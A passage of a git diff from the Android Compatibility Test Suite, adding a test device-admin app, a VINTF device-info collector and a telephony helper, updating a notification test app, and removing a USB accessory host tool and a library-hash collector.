+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.android.cts.verifierusbcompanion;
+
+import android.content.Context;
+import android.os.Handler;
+import android.os.Message;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import java.util.Arrays;
+
+/**
+ * Framework for all companion tests of this app.
+ */
+abstract class TestCompanion extends Thread {
+    private final @NonNull Context mContext;
+    private final @NonNull TestHandler mHandler;
+    private boolean mShouldAbort;
+
+    /**
+     * Create a new test companion
+     *
+     * @param context Context to be used for the test companion
+     * @param observer Observer observing the test companion
+     */
+    TestCompanion(@NonNull Context context, @NonNull TestObserver observer) {
+        mContext = context;
+        mHandler = new TestHandler(observer);
+    }
+
+    /**
+     * @return the context to be used by the test companion
+     */
+    protected @NonNull Context getContext() {
+        return mContext;
+    }
+
+    void requestAbort() {
+        mShouldAbort = true;
+        interrupt();
+    }
+
+    /**
+     * @return if the test companion should abort
+     */
+    protected boolean shouldAbort() {
+        return mShouldAbort;
+    }
+
+    /**
+     * Indicate that the test companion succeeded.
+     */
+    protected void success() {
+        mHandler.obtainMessage(TestHandler.SUCCESS).sendToTarget();
+    }
+
+    /**
+     * Indicate that the test companion failed.
+     *
+     * @param error Description why the test failed
+     */
+    protected void fail(@NonNull CharSequence error) {
+        mHandler.obtainMessage(TestHandler.FAIL, error).sendToTarget();
+    }
+
+    /**
+     * Indicate that the test companion was aborted.
+     */
+    private void abort() {
+        mHandler.obtainMessage(TestHandler.ABORT).sendToTarget();
+    }
+
+    /**
+     * Update the status of the test companion.
+     *
+     * @param status The new status message
+     */
+    protected void updateStatus(@NonNull CharSequence status) {
+        Log.i(this.getClass().getSimpleName(), "Status: " + status);
+
+        mHandler.obtainMessage(TestHandler.UPDATE_STATUS, status).sendToTarget();
+    }
+
+    @Override
+    public final void run() {
+        try {
+            runTest();
+        } catch (Throwable e) {
+            if (e instanceof InterruptedException && shouldAbort()) {
+                abort();
+            } else {
+                fail(e + "\n" + Arrays.toString(e.getStackTrace()));
+            }
+
+            return;
+        }
+
+        success();
+    }
+
+    /**
+     * The test companion code.
+     *
+     * @throws Throwable  If this returns without an exception, the test companion succeeded.
+     */
+    protected abstract void runTest() throws Throwable;
+
+    /**
+     * Observe the state of this test companion
+     */
+    public interface TestObserver {
+        void onStatusUpdate(@NonNull CharSequence status);
+        void onSuccess();
+        void onFail(@NonNull CharSequence error);
+        void onAbort();
+    }
+
+    /**
+     * Serialize callbacks to main thread.
+     */
+    public static class TestHandler extends Handler {
+        static final int SUCCESS = 0;
+        static final int FAIL = 1;
+        static final int ABORT = 2;
+        static final int UPDATE_STATUS = 3;
+
+        private final @NonNull TestObserver mObserver;
+
+        TestHandler(@NonNull TestObserver observer) {
+            mObserver = observer;
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case SUCCESS:
+                    mObserver.onSuccess();
+                    break;
+                case FAIL:
+                    mObserver.onFail((CharSequence)msg.obj);
+                    break;
+                case ABORT:
+                    mObserver.onAbort();
+                    break;
+                case UPDATE_STATUS:
+                    mObserver.onStatusUpdate((CharSequence)msg.obj);
+                    break;
+            }
+        }
+    }
+}
diff --git a/tests/deviceadmin/deviceadminapp/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
similarity index 100%
rename from tests/deviceadmin/deviceadminapp/Android.mk
rename to apps/EmptyDeviceAdmin/Android.mk
diff --git a/apps/EmptyDeviceAdmin/AndroidManifest.xml b/apps/EmptyDeviceAdmin/AndroidManifest.xml
new file mode 100644
index 0000000..1b4cd0f
--- /dev/null
+++ b/apps/EmptyDeviceAdmin/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.emptydeviceadmin" >
+
+    <uses-sdk android:minSdkVersion="23"/>
+
+    <application android:label="Test Device Admin">
+        <receiver
+            android:name=".EmptyDeviceAdmin"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+    </application>
+</manifest>
diff --git a/apps/EmptyDeviceAdmin/README b/apps/EmptyDeviceAdmin/README
new file mode 100644
index 0000000..b47f9d4
--- /dev/null
+++ b/apps/EmptyDeviceAdmin/README
@@ -0,0 +1,20 @@
+Copyright (C) 2017 The Android Open Source Project
+
+Licensed under the Apache Licence, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+
+This package is used to generate CtsEmptyDeviceAdmin.apk that is used in assets of CtsVerifier.
+To update the apk file, run the following commands from your android checkout:
+cd $ANDROID_BUILD_TOP
+make -j32 CtsEmptyDeviceAdmin
+cp $OUT/data/app/CtsEmptyDeviceAdmin/CtsEmptyDeviceAdmin.apk \
+cts/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk
diff --git a/apps/EmptyDeviceAdmin/res/xml/device_admin.xml b/apps/EmptyDeviceAdmin/res/xml/device_admin.xml
new file mode 100644
index 0000000..8bd480f
--- /dev/null
+++ b/apps/EmptyDeviceAdmin/res/xml/device_admin.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+        <limit-password />
+        <watch-login />
+        <reset-password />
+        <force-lock />
+        <wipe-data />
+        <expire-password />
+        <encrypted-storage />
+        <disable-camera />
+        <disable-keyguard-features />
+    </uses-policies>
+</device-admin>
diff --git a/apps/EmptyDeviceAdmin/src/com/android/cts/emptydeviceadmin/EmptyDeviceAdmin.java b/apps/EmptyDeviceAdmin/src/com/android/cts/emptydeviceadmin/EmptyDeviceAdmin.java
new file mode 100644
index 0000000..3adac3f
--- /dev/null
+++ b/apps/EmptyDeviceAdmin/src/com/android/cts/emptydeviceadmin/EmptyDeviceAdmin.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.emptydeviceadmin;
+
+import android.app.admin.DeviceAdminReceiver;
+
+/**
+ *  This is used as a test device admin for
+ *  com.android.cts.verifier.admin.DeviceAdminUninstallTestActivity
+ */
+public class EmptyDeviceAdmin extends DeviceAdminReceiver {
+}
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 746b840..0fb1d65 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -17,6 +17,7 @@
 
 import android.app.Notification;
 import android.app.Notification.Action;
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.RemoteInput;
@@ -35,6 +36,7 @@
 
 public class NotificationBot extends BroadcastReceiver {
     private static final String TAG = "NotificationBot";
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
     private static final String EXTRA_ID = "ID";
     private static final String EXTRA_NOTIFICATION = "NOTIFICATION";
     private static final String ACTION_POST = "com.android.cts.robot.ACTION_POST";
@@ -133,14 +135,19 @@
         final RemoteInput ri = new RemoteInput.Builder("result")
                 .setLabel("Type something here and press send button").build();
 
-        final Notification.Builder nb = new Notification.Builder(context)
+        NotificationManager notificationManager =
+                context.getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
+        final Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle(intent.getStringExtra(EXTRA_NOTIFICATION_TITLE))
                 .setSmallIcon(android.R.drawable.ic_popup_sync)
                 .addAction(new Action.Builder(0,
                         "Type something here and press send button", receiverIntent)
                         .addRemoteInput(ri)
                         .build());
-        context.getSystemService(NotificationManager.class).notify(0, nb.build());
+        notificationManager.notify(0, nb.build());
     }
 
     /**
diff --git a/apps/cts-usb-accessory/Android.mk b/apps/cts-usb-accessory/Android.mk
deleted file mode 100644
index 7699b1a..0000000
--- a/apps/cts-usb-accessory/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# Build for Linux (desktop) host
-ifeq ($(HOST_OS),linux)
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := cts-usb-accessory.c
-
-LOCAL_MODULE := cts-usb-accessory
-
-LOCAL_C_INCLUDES += \
-	bionic/libc/kernel/uapi \
-	bionic/libc/kernel/android/uapi \
-	bionic/libc/kernel/uapi/asm-x86 \
-
-LOCAL_STATIC_LIBRARIES := libusbhost libcutils
-LOCAL_LDLIBS += -lpthread
-LOCAL_CFLAGS := -g -O0
-LOCAL_CXX_STL := none
-
-include $(BUILD_HOST_EXECUTABLE)
-
-endif
diff --git a/apps/cts-usb-accessory/cts-usb-accessory.c b/apps/cts-usb-accessory/cts-usb-accessory.c
deleted file mode 100644
index c5da3ef..0000000
--- a/apps/cts-usb-accessory/cts-usb-accessory.c
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <pthread.h>
-#include <time.h>
-
-#include <usbhost/usbhost.h>
-#include <linux/usb/f_accessory.h>
-
-static struct usb_device *sDevice = NULL;
-static int sAfterUnplug = 0;
-static char* sDeviceSerial = NULL;
-
-static void* message_thread(void* arg) {
-    int *endpoints = (int *)arg;
-    int ret = 0;
-    int num = 0;
-    char message[50];
-
-    while (sDevice && ret >= 0) {
-        char buffer[16384];
-        ret = usb_device_bulk_transfer(sDevice, endpoints[0], buffer, sizeof(buffer), 1000);
-        if (ret < 0 && errno == ETIMEDOUT) {
-            ret = 0;
-        }
-        if (ret > 0) {
-            printf("[RECV] ");
-            fwrite(buffer, 1, ret, stdout);
-            printf("\n");
-
-            // Respond by sending a message back
-            sprintf(message, "Message from Android accessory #%d", num++);
-            printf("[SENT] %s\n", message);
-            fflush(stdout);
-            usb_device_bulk_transfer(sDevice, endpoints[1], message, strlen(message), 1000);
-        }
-    }
-
-    return NULL;
-}
-
-static void milli_sleep(int millis) {
-    struct timespec tm;
-
-    tm.tv_sec = 0;
-    tm.tv_nsec = millis * 1000000;
-    nanosleep(&tm, NULL);
-}
-
-static int send_string(struct usb_device *device, int index, const char* string) {
-    int ret = usb_device_control_transfer(device, USB_DIR_OUT | USB_TYPE_VENDOR,
-            ACCESSORY_SEND_STRING, 0, index, (void *)string, strlen(string) + 1, 1000);
-
-    // some devices can't handle back-to-back requests, so delay a bit
-    milli_sleep(10);
-    return ret;
-}
-
-static int usb_device_added(const char *devname, void* client_data) {
-    struct usb_descriptor_header* desc;
-    struct usb_descriptor_iter iter;
-    uint16_t vendorId, productId;
-    int ret;
-    pthread_t th;
-
-    struct usb_device *device = usb_device_open(devname);
-    if (!device) {
-        fprintf(stderr, "usb_device_open failed\n");
-        return 0;
-    }
-
-    char* serial = usb_device_get_serial(device);
-    if (sDeviceSerial && (!serial || strcmp(sDeviceSerial, serial))) {
-        free(serial);
-        return 0;
-    }
-    free(serial);
-
-    vendorId = usb_device_get_vendor_id(device);
-    productId = usb_device_get_product_id(device);
-
-    if (!sDevice && (vendorId == 0x18D1 && (productId == 0x2D00 || productId == 0x2D01))) {
-        struct usb_descriptor_header* desc;
-        struct usb_descriptor_iter iter;
-        struct usb_interface_descriptor *intf = NULL;
-        struct usb_endpoint_descriptor *ep1 = NULL;
-        struct usb_endpoint_descriptor *ep2 = NULL;
-
-        printf("Found Android device in accessory mode (%x:%x)...\n",
-               vendorId, productId);
-        sDevice = device;
-        sDeviceSerial = usb_device_get_serial(sDevice);
-
-        usb_descriptor_iter_init(device, &iter);
-        while ((desc = usb_descriptor_iter_next(&iter)) != NULL && (!intf || !ep1 || !ep2)) {
-            if (desc->bDescriptorType == USB_DT_INTERFACE) {
-                intf = (struct usb_interface_descriptor *)desc;
-            } else if (desc->bDescriptorType == USB_DT_ENDPOINT) {
-                if (ep1)
-                    ep2 = (struct usb_endpoint_descriptor *)desc;
-                else
-                    ep1 = (struct usb_endpoint_descriptor *)desc;
-            }
-        }
-
-        if (!intf) {
-            fprintf(stderr, "Interface not found\n");
-            exit(1);
-        }
-        if (!ep1 || !ep2) {
-            fprintf(stderr, "Endpoints not found\n");
-            exit(1);
-        }
-
-        if (usb_device_claim_interface(device, intf->bInterfaceNumber)) {
-            fprintf(stderr, "usb_device_claim_interface failed errno: %d\n", errno);
-            exit(1);
-        }
-
-        int endpoints[2];
-        if ((ep1->bEndpointAddress & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN) {
-            endpoints[0] = ep1->bEndpointAddress;
-            endpoints[1] = ep2->bEndpointAddress;
-        } else {
-            endpoints[0] = ep2->bEndpointAddress;
-            endpoints[1] = ep1->bEndpointAddress;
-        }
-        pthread_create(&th, NULL, message_thread, (void *)endpoints);
-    } else {
-        printf("Found possible Android device (%x:%x) "
-                "- attempting to switch to accessory mode...\n", vendorId, productId);
-
-        uint16_t protocol = 0;
-        ret = usb_device_control_transfer(device, USB_DIR_IN | USB_TYPE_VENDOR,
-                ACCESSORY_GET_PROTOCOL, 0, 0, &protocol, sizeof(protocol), 1000);
-        if (ret == 2) {
-            printf("Device supports protocol version %d\n", protocol);
-        } else {
-            fprintf(stderr, "Failed to read protocol version\n");
-        }
-
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_MANUFACTURER, "Android CTS");
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_MODEL, "CTS USB Accessory");
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_DESCRIPTION, "CTS USB Accessory");
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_VERSION, "1.0");
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_URI,
-                        "http://source.android.com/compatibility/cts-intro.html");
-        ret = (ret < 0) ? ret :
-                send_string(device, ACCESSORY_STRING_SERIAL, "1234567890");
-
-        ret = (ret < 0) ? ret :
-                usb_device_control_transfer(device, USB_DIR_OUT | USB_TYPE_VENDOR,
-                        ACCESSORY_START, 0, 0, 0, 0, 1000);
-        if (ret < 0) {
-            fprintf(stderr, "Failed to start accessory mode\n");
-        }
-        return 0;
-    }
-
-    if (device != sDevice)
-        usb_device_close(device);
-
-    return 0;
-}
-
-static int usb_device_removed(const char *devname, void* client_data) {
-    if (sDevice && !strcmp(usb_device_get_name(sDevice), devname)) {
-        usb_device_close(sDevice);
-        sDevice = NULL;
-        if (sAfterUnplug) {
-            // exit when we are disconnected the second time
-            free(sDeviceSerial);
-            return 1;
-        } else {
-            sAfterUnplug = 1;
-        }
-    }
-    return 0;
-}
-
-
-int main(int argc, char* argv[]) {
-    printf("CTS USB Accessory Tester\n");
-
-    struct usb_host_context* context = usb_host_init();
-    if (!context) {
-        fprintf(stderr, "usb_host_init failed");
-        return 1;
-    }
-
-    // this will never return so it is safe to pass thiz directly
-    usb_host_run(context, usb_device_added, usb_device_removed, NULL, NULL);
-    return 0;
-}
diff --git a/build/compatibility_test_suite.mk b/build/compatibility_test_suite.mk
index f109185..7cdd220 100644
--- a/build/compatibility_test_suite.mk
+++ b/build/compatibility_test_suite.mk
@@ -46,7 +46,7 @@
 LOCAL_GENERATED_SOURCES := $(suite_info_java)
 
 # Add the base libraries
-LOCAL_JAVA_LIBRARIES += tradefed-prebuilt hosttestlib compatibility-host-util
+LOCAL_JAVA_LIBRARIES += tradefed hosttestlib compatibility-host-util
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/build/config.mk b/build/config.mk
index 573dc7b..159dc8d 100644
--- a/build/config.mk
+++ b/build/config.mk
@@ -20,7 +20,7 @@
 BUILD_COMPATIBILITY_SUITE := cts/build/compatibility_test_suite.mk
 BUILD_CTS_EXECUTABLE := cts/build/test_executable.mk
 BUILD_CTS_PACKAGE := cts/build/test_package.mk
-BUILD_CTS_HOST_JAVA_LIBRARY := $(BUILD_HOST_JAVA_LIBRARY)
+BUILD_CTS_HOST_JAVA_LIBRARY := cts/build/host_java_library.mk
 BUILD_CTS_TARGET_JAVA_LIBRARY := cts/build/test_target_java_library.mk
 BUILD_CTS_SUPPORT_PACKAGE := cts/build/support_package.mk
 BUILD_CTS_DEVICE_INFO_PACKAGE := cts/build/device_info_package.mk
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index b91c264..dcc81d3 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -26,7 +26,6 @@
   $(DEVICE_INFO_PACKAGE).GenericDeviceInfo \
   $(DEVICE_INFO_PACKAGE).GlesStubActivity \
   $(DEVICE_INFO_PACKAGE).GraphicsDeviceInfo \
-  $(DEVICE_INFO_PACKAGE).LibraryDeviceInfo \
   $(DEVICE_INFO_PACKAGE).LocaleDeviceInfo \
   $(DEVICE_INFO_PACKAGE).MediaDeviceInfo \
   $(DEVICE_INFO_PACKAGE).MemoryDeviceInfo \
@@ -34,7 +33,8 @@
   $(DEVICE_INFO_PACKAGE).PropertyDeviceInfo \
   $(DEVICE_INFO_PACKAGE).ScreenDeviceInfo \
   $(DEVICE_INFO_PACKAGE).StorageDeviceInfo \
-  $(DEVICE_INFO_PACKAGE).UserDeviceInfo
+  $(DEVICE_INFO_PACKAGE).UserDeviceInfo \
+  $(DEVICE_INFO_PACKAGE).VintfDeviceInfo
 
 ifeq ($(DEVICE_INFO_MIN_SDK),)
 DEVICE_INFO_MIN_SDK := 8
diff --git a/build/host_java_library.mk b/build/host_java_library.mk
new file mode 100644
index 0000000..303527e
--- /dev/null
+++ b/build/host_java_library.mk
@@ -0,0 +1,22 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Builds a java library (jar)
+#
+# Replace "include $(BUILD_HOST_JAVA_LIBRARY) with "include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+#
+
+-include cts/error_prone_rules_tests.mk
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LibraryDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LibraryDeviceInfo.java
deleted file mode 100644
index bc30eef..0000000
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LibraryDeviceInfo.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.deviceinfo;
-
-import android.util.Log;
-
-import com.android.compatibility.common.util.DeviceInfoStore;
-
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Formatter;
-
-/**
- * Library device info collector.
- */
-public final class LibraryDeviceInfo extends DeviceInfo {
-
-    private static final String TAG = "LibraryDeviceInfo";
-    private static final int BUFFER_SIZE_BYTES = 4096;
-
-    @Override
-    protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
-        collectSystemLibs(store);
-        collectVendorLibs(store);
-        collectFrameworkJars(store);
-    }
-
-    private void collectSystemLibs(DeviceInfoStore store) throws Exception {
-        store.startArray("lib");
-        collectFileDetails(store, "/system/lib", ".so");
-        store.endArray();
-    }
-
-    private void collectVendorLibs(DeviceInfoStore store) throws Exception {
-        store.startArray("vendor_lib");
-        collectFileDetails(store, "/system/vendor/lib", ".so");
-        store.endArray();
-    }
-
-    private void collectFrameworkJars(DeviceInfoStore store) throws Exception {
-        store.startArray("framework_jar");
-        collectFileDetails(store, "/system/framework", ".jar");
-        store.endArray();
-    }
-
-    private void collectFileDetails(DeviceInfoStore store, String path, String suffix)
-            throws Exception {
-        File dir = new File(path);
-        for (File file : dir.listFiles()) {
-            String name = file.getName();
-            if (file.isFile() && name.endsWith(suffix)) {
-                String sha1 = "unknown";
-                try {
-                    sha1 = getSha1sum(file);
-                } catch (IOException e) {
-                    Log.e(TAG, "Failed to hash " + file + ": ", e);
-                }
-                store.startGroup();
-                store.addResult("name", name);
-                store.addResult("sha1", sha1);
-                store.endGroup();
-            }
-        }
-    }
-
-    private static String getSha1sum(File file) throws IOException {
-        InputStream in = null;
-        try {
-            in = new FileInputStream(file);
-            return sha1(in);
-        } finally {
-            close(in);
-        }
-    }
-
-    private static void close(Closeable s) throws IOException {
-        if (s == null) {
-            return;
-        }
-        s.close();
-    }
-
-    /**
-     * @return the SHA-1 digest of input as a hex string
-     */
-    public static String sha1(InputStream input) throws IOException {
-        try {
-            return toHexString(digest(input, "sha1"));
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    private static byte[] digest(InputStream in, String algorithm)
-        throws NoSuchAlgorithmException, IOException {
-        MessageDigest digest = MessageDigest.getInstance(algorithm);
-        byte[] buffer = new byte[BUFFER_SIZE_BYTES];
-        while (true) {
-            int read = in.read(buffer);
-            if (read < 0) {
-                break;
-            }
-            digest.update(buffer, 0, read);
-        }
-        return digest.digest();
-    }
-
-    private static String toHexString(byte[] buffer) {
-        Formatter formatter = new Formatter();
-        try {
-            for (byte b : buffer) {
-                formatter.format("%02X", b);
-            }
-            return formatter.toString();
-        } finally {
-            formatter.close();
-        }
-    }
-}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
new file mode 100644
index 0000000..c9a6265
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.deviceinfo;
+
+import android.os.Build;
+import android.os.VintfObject;
+import android.os.VintfRuntimeInfo;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Map;
+
+import com.android.compatibility.common.util.DeviceInfoStore;
+
+/**
+ * VINTF device info collector.
+ */
+public final class VintfDeviceInfo extends DeviceInfo {
+
+    private static final String[] sEmptyStringArray = new String[0];
+
+    @Override
+    protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
+        // VintfRuntimeInfo is available Android O onward.
+        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
+           return;
+        }
+        store.addResult("cpu_info", VintfRuntimeInfo.getCpuInfo());
+        store.addResult("os_name", VintfRuntimeInfo.getOsName());
+        store.addResult("node_name", VintfRuntimeInfo.getNodeName());
+        store.addResult("os_release", VintfRuntimeInfo.getOsRelease());
+        store.addResult("os_version", VintfRuntimeInfo.getOsVersion());
+        store.addResult("hardware_id", VintfRuntimeInfo.getHardwareId());
+        store.addResult("kernel_version", VintfRuntimeInfo.getKernelVersion());
+        store.addResult("kernel_sepolicy_version", VintfRuntimeInfo.getKernelSepolicyVersion());
+        store.addResult("sepolicy_version", VintfObject.getSepolicyVersion());
+
+        String[] hals = VintfObject.getHalNamesAndVersions();
+        store.addListResult("hals", hals == null
+                ? Collections.emptyList() : Arrays.<String>asList(hals));
+
+        Map<String, String[]> vndks = VintfObject.getVndkSnapshots();
+        if (vndks == null) vndks = Collections.emptyMap();
+        store.startArray("vndk_snapshots");
+        for (Map.Entry<String, String[]> e : vndks.entrySet()) {
+            store.startGroup();
+            store.addResult("version", e.getKey());
+            String[] libraries = e.getValue();
+            store.addListResult("libraries", libraries == null
+                    ? Collections.emptyList() : Arrays.<String>asList(libraries));
+            store.endGroup();
+        }
+        store.endArray();
+    }
+}
diff --git a/common/device-side/preconditions/src/com/android/compatibility/common/preconditions/TelephonyHelper.java b/common/device-side/preconditions/src/com/android/compatibility/common/preconditions/TelephonyHelper.java
new file mode 100644
index 0000000..e9e2dd8
--- /dev/null
+++ b/common/device-side/preconditions/src/com/android/compatibility/common/preconditions/TelephonyHelper.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.preconditions;
+
+import android.content.Context;
+import android.telephony.TelephonyManager;
+import android.text.TextUtils;
+
+/**
+ * TelephonyHelper is used to check whether the device has a SIM card with phone number.
+ */
+public class TelephonyHelper {
+    /*
+     * This helper returns false if the device doesn't have a SIM card with phone number.
+     */
+    public static boolean hasPhoneNumber(Context context) {
+        TelephonyManager telephony =
+                (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+
+        return !TextUtils.isEmpty(telephony.getLine1Number());
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/util/Android.mk b/common/device-side/util/Android.mk
index c51acef..26a37ec 100644
--- a/common/device-side/util/Android.mk
